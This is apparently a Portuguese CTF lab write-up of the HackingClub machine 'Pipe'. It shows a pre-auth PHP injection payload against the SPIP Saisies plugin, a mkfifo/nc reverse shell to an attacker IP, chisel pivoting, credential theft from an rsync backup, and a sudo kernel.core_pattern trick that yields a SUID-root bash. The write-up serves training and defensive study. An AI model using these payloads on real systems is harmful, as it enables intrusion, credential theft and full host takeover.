Thumbnail oficial da máquina Pipe no Hacking Club

Pipe

Plataforma
HackingClub
Dificuldade
Medium
Sistema
Linux

Categorias Web · Lateral Movement · Privesc

Máquina Linux Medium da Hacking Club com CMS SPIP 4.4.13 vulnerável a RCE pré-autenticado (CVE-2025-71243) no plugin Saisies. O foothold cai num container; a cadeia segue por escape via rsync exposto no host, lateral movement por credenciais num backup, e privesc por abuso de kernel.core_pattern via sudo.

Recon

Port scan

rustscan -a pipe.hc -- -sV
PortaServiçoVersão
22/tcpsshOpenSSH 9.6p1 Ubuntu
8889/tcphttpApache httpd (PHP/8.3.30)
Saída do scan mostrando SSH na 22 e Apache na 8889
SSH na 22 e o SPIP (Apache/PHP) na 8889.

A aplicação web é o CMS SPIP 4.4.13 com template de consultoria financeira fictícia (“Meridian Wealth”).

Página inicial do SPIP com o template Meridian Wealth
SPIP 4.4.13 — consultoria financeira fictícia.

Web enumeration

O SPIP roteia todo o conteúdo pelo front-controller spip.php (?page=<nome>). Fuzzando os nomes de página localizei a contact:

ffuf -u 'http://pipe.hc:8889/spip.php?page=FUZZ' -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -mc 200 -ac

A página /spip.php?page=contact expõe um formulário processado pelo plugin Saisies do SPIP, vulnerável a RCE pré-autenticado via CVE-2025-71243.

Foothold

Afetados: Saisies 5.4.0–5.11.0 | Fixed: 5.11.1 | CVSS: 9.3 Critical

A função saisies_formulaire_charger_generer_hidden_ancienne_valeur_depubliee() interpola o parâmetro _anciennes_valeurs diretamente num campo hidden sem escaping:

return "<input type='hidden' name='_anciennes_valeurs' value='$encode' />";

Esse valor vai para $flux['data']['_hidden'], renderizado pelo balise #ACTION_FORMULAIRE com interdire_scripts = false — bypassando o filtro de scripts. Tags <?php ?> injetadas entram no ciclo eval() do template engine e são executadas diretamente.

Resultado: RCE pré-autenticado em qualquer página com formulário saisies público. O payload é enviado no campo _anciennes_valeurs de um POST e o output do comando é refletido na resposta entre os campos hidden:

POST /spip.php?page=contact
_anciennes_valeurs=x' /><?php system('id'); ?><input value='x
Burp Repeater mostrando a resposta com a saída do comando id como www-data
RCE confirmado: `id` reflete `www-data` na resposta.

Confirmada a execução como www-data, dispara-se uma reverse shell. O system() do PHP usa /bin/sh (dash), que não interpreta /dev/tcp; e o bash do container foi compilado sem net-redirections — logo o callback é feito via mkfifo + nc. O comando vai base64-encoded dentro do mesmo _anciennes_valeurs (via system(base64_decode('...'))), evitando os conflitos de aspas com a injeção:

rm -f /tmp/.f;mkfifo /tmp/.f;cat /tmp/.f|/bin/bash -i 2>&1|nc <ATTACKER_IP> 9001 >/tmp/.f
Shell reversa interativa como www-data
Reverse shell estável como `www-data` dentro do container.

Lateral Movement

Container enumeration

O .dockerenv confirma que estamos num container; hostname -I dá o IP da rede interna e env despeja as variáveis do SPIP:

ls -la /.dockerenv
hostname -I
env | grep SPIP
Variáveis de ambiente SPIP expostas no container
O ambiente entrega credenciais de DB e admin do SPIP.

Variáveis críticas no ambiente: SPIP_PACKAGE=4.4.13, SPIP_DB_LOGIN=spip / SPIP_DB_PASS=spip, SPIP_ADMIN_LOGIN=admin / SPIP_ADMIN_PASS=adminadmin. O container (172.18.0.3) alcança o gateway Docker 172.18.0.1 (host EC2).

Docker escape

A partir do container comprometido, um pivot (chisel SOCKS reverso) dá acesso à rede interna 172.18.0.0/24. O scan do host 172.18.0.1 revela um daemon rsync na porta 873, acessível apenas de 172.18.0.0/16:

Scan via pivot revelando rsync na porta 873 do gateway Docker
Pivot SOCKS → `rsync` 873/tcp exposto no host.

O módulo backup (read-only) expõe /var/backups. O arquivo backup.zip contém um reset.txt com as credenciais do usuário marcus:

Conteúdo do backup.zip com o reset.txt contendo as credenciais de marcus
`reset.txt` no `backup.zip` — credenciais de `marcus` em claro.

Com as credenciais do backup, acesso SSH como marcus no host:

ssh marcus@pipe.hc
Sessão SSH autenticada como marcus no host
SSH como `marcus` — foothold no host real, fora do container.

A user.txt reside em /home/svc_backup/user.txt e só fica legível após a escalação de privilégios.

Privilege Escalation

No writeup original desta máquina a escalação usava o /etc/pam.d/common-auth writable (inserir pam_permit.sosu root sem senha). Nesta tentativa o arquivo foi corrigido para root:root rw-r--r--.

Intended vector — kernel.core_pattern pipe handler

O usuário de serviço svc_backup possui uma regra sudo permissiva:

svc_backup ALL=(root) NOPASSWD: /sbin/sysctl kernel.core_pattern=*

kernel.core_pattern define o handler de core dump do kernel. Quando começa com |, o kernel executa o programa indicado como root sempre que um processo gera um core dump. São três passos: escrever um handler que copia o bash como SUID-root, apontar o core_pattern para ele com o sysctl autorizado por NOPASSWD, e disparar um SIGSEGV para gerar o core dump — o handler roda como root e deixa o /tmp/rootbash com euid=0:

printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash\n' > /tmp/pwn.sh
chmod +x /tmp/pwn.sh

sudo /sbin/sysctl kernel.core_pattern="|/tmp/pwn.sh"
sleep 30 & kill -SEGV $!
/tmp/rootbash -p
Exploração do core_pattern resultando em shell root
`core_pattern=|handler` + SIGSEGV → `/bin/bash` SUID root.

Após a escalação, ambas as flags são lidas (/home/svc_backup/user.txt e /root/root.txt):

Leitura da flag de root após a escalação de privilégios
`euid=0` — ambas as flags acessíveis.

Um elo ficou em aberto: a senha do svc_backup (SVC_PASS) está exposta apenas no crontab do sys_admin (/var/spool/cron/crontabs/sys_admin, rw-------), consumida por um session-manager.sh (expect → su - svc_backup). Nesta instância não consegui identificar um vetor que levasse marcus até essa senha.

Lessons Learned

  • Formulário público processado pelo plugin Saisies com filtro de scripts desligado é um sink de RCE pré-auth; a interpolação sem escaping em _anciennes_valeurs foi confirmada lendo o source do plugin.
  • Sem /dev/tcp (dash) e com bash compilado sem net-redirections, o callback confiável é mkfifo + nc; base64 no payload evita conflito de aspas na injeção PHP.
  • rsync read-only exposto numa rede interna é fonte clássica de credenciais — o módulo backup entregou um reset.txt com a senha do marcus.
  • kernel.core_pattern iniciado com | executa o handler como root a cada core dump; um único sysctl via sudo e um SIGSEGV bastam para escalar.

Impact

  • Para uma consultoria financeira como a Meridian Wealth, cujo ativo central é a confiança do cliente, o comprometimento do servidor expõe dados financeiros e credenciais de clientes guardados em backups — um incidente de confidencialidade com peso regulatório no setor.
  • Com controle do site público, o atacante adultera conteúdo, hospeda phishing sob o domínio legítimo da firma e usa a marca para fraudar clientes — dano reputacional direto e difícil de reverter.
  • O acesso root e o pivô para a rede interna abrem caminho a sistemas de advisory e dados de carteira, transformando uma exposição web em risco ao negócio inteiro.

References

Acta
Medalha de São Bento — Crux Sancti Patris Benedicti